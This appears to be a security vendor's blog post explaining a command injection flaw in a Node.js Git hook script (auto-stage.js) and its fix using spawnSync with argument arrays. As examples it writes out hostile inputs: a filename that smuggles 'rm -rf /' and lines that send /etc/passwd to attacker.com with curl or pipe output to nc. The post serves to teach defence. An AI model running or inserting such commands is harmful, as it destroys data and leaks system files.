Back to Blog
high SEVERITY6 min read

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `hooks/scripts/auto-stage.js` where the `stageFile()` function used `execSync()` with string interpolation to execute git commands. By switching from `execSync()` with template strings to `spawnSync()` with argument arrays, the fix eliminates shell interpretation and prevents attackers from injecting malicious commands through crafted file paths.

O
By Orbis AppSec
Published August 21, 2026Reviewed August 21, 2026

Answer Summary

Command injection (CWE-78) in Node.js occurs when untrusted input is passed to child_process functions that invoke a shell. In this case, `execSync(\`git add "${filePath}"\`)` in auto-stage.js line 55 allowed shell metacharacters in filePaths to execute arbitrary commands. The fix replaces execSync with `spawnSync('git', ['add', filePath])`, which passes arguments as an array instead of a shell-interpreted string, completely preventing command injection regardless of the filePath content.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace execSync with spawnSync using parameterized argument arrays
riskArbitrary command execution through malicious file paths
languageJavaScript (Node.js)
root causeUsing execSync with string interpolation instead of argument arrays
vulnerabilityCommand Injection via child_process

Introduction

In a Git hooks automation script, we discovered a high-severity command injection vulnerability in hooks/scripts/auto-stage.js at line 55. The stageFile() function was using Node.js's execSync() with string interpolation to execute git commands, creating a dangerous code path where malicious file paths could break out of the intended command and execute arbitrary shell commands. This vulnerability demonstrates why string-based command construction is fundamentally unsafe, even in seemingly controlled environments like Git repository management.

The vulnerable code accepted a filePath parameter from a function argument and directly interpolated it into a shell command: execSync(\git add "${filePath}"`)`. While the double quotes provide minimal protection, they're insufficient against shell metacharacters and escape sequences that can break command boundaries.

The Vulnerability Explained

Let's examine the vulnerable code from auto-stage.js line 52-58:

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

The critical issue is on line 55: execSync(\git add "${filePath}"`). TheexecSync()function spawns a shell (/bin/shon Unix,cmd.exeon Windows) and passes the entire string for interpretation. Despite the double quotes around${filePath}`, an attacker can exploit shell metacharacters to inject commands.

How could this be exploited?

Consider if filePath came from an untrusted source (like a webhook payload, user input, or a compromised upstream system). An attacker could craft a malicious filename like:

"; rm -rf / #

This would result in the following command being executed:

git add ""; rm -rf / #"

The shell interprets this as:
1. git add "" - adds nothing (empty string)
2. ; - command separator
3. rm -rf / - delete everything (catastrophic)
4. # - comment out the trailing quote

Even with the cwd option limiting the working directory, the injected command runs with full privileges of the Node.js process. Other attack vectors include:

  • Command chaining: file.txt && curl attacker.com/exfiltrate?data=$(cat /etc/passwd)
  • Command substitution: file.txt$(whoami).txt
  • Pipe injection: file.txt | nc attacker.com 4444

In the context of auto-stage.js, this script appears to be part of a Git hooks system that automatically stages files. If the file paths being processed come from external sources (like CI/CD systems, automated tools, or user-triggered workflows), the command injection risk becomes very real.

The Fix

The fix replaces the shell-invoking execSync() with spawnSync() using an argument array. Here's the before and after:

Before (Vulnerable):

const { execSync } = require('child_process');

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

After (Secure):

const { execSync, spawnSync } = require('child_process');

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    const result = spawnSync('git', ['add', filePath], { cwd: dir, stdio: 'pipe' });
    if (result.status !== 0) throw new Error(result.stderr.toString());
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

Key differences:

  1. No shell invocation: spawnSync() directly executes the git binary without spawning a shell interpreter
  2. Argument array: ['add', filePath] passes arguments as separate array elements, not as a concatenated string
  3. Literal interpretation: The filePath is treated as a literal argument value, never parsed for shell metacharacters
  4. Explicit error handling: The fix checks result.status and throws stderr content, maintaining equivalent error behavior

This change eliminates the vulnerability entirely. Even if filePath contains malicious content like "; rm -rf /", it's passed as a literal filename to git add. Git will simply report "file not found" rather than executing the injected command.

The security improvement is absolute: there's no shell to interpret metacharacters, so there's no injection surface. The fix converts a high-severity vulnerability into a non-exploitable code path while preserving the original functionality for legitimate file paths.

Key Takeaways

  • The stageFile() function in auto-stage.js used execSync() with template literal interpolation, creating a command injection vulnerability at line 55 where malicious file paths could execute arbitrary commands
  • Switching from execSync(\git add "${filePath}"`)tospawnSync('git', ['add', filePath])` eliminates shell interpretation entirely, making injection impossible regardless of filePath content
  • String interpolation with child_process functions is fundamentally unsafe because shell metacharacters (;, |, &&, $(), etc.) can break command boundaries even with quotes
  • Argument arrays with spawn/spawnSync provide absolute protection by treating all parameters as literal values, never parsing them for shell syntax
  • Static analysis tools like Semgrep can automatically detect these patterns before they reach production, as demonstrated by the detection of this vulnerability in automated scanning

How Orbis AppSec Detected This

  • Source: The filePath parameter passed to the stageFile() function in hooks/scripts/auto-stage.js
  • Sink: execSync(\git add "${filePath}"`)` at line 55, which spawns a shell and interprets the interpolated string
  • Missing control: No validation or sanitization of the filePath parameter, and use of shell-invoking execSync instead of argument-array-based spawnSync
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)
  • Fix: Replaced execSync with spawnSync and changed from string interpolation to argument array format, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in auto-stage.js demonstrates why string-based command construction is dangerous in Node.js applications. The fix—switching from execSync() with string interpolation to spawnSync() with argument arrays—provides complete protection by eliminating shell interpretation entirely. By adopting argument-array-based APIs, validating inputs, and using static analysis tools, developers can prevent command injection vulnerabilities before they reach production. Remember: when working with child processes in Node.js, always prefer spawn/spawnSync with argument arrays over exec/execSync with string concatenation.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #16

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.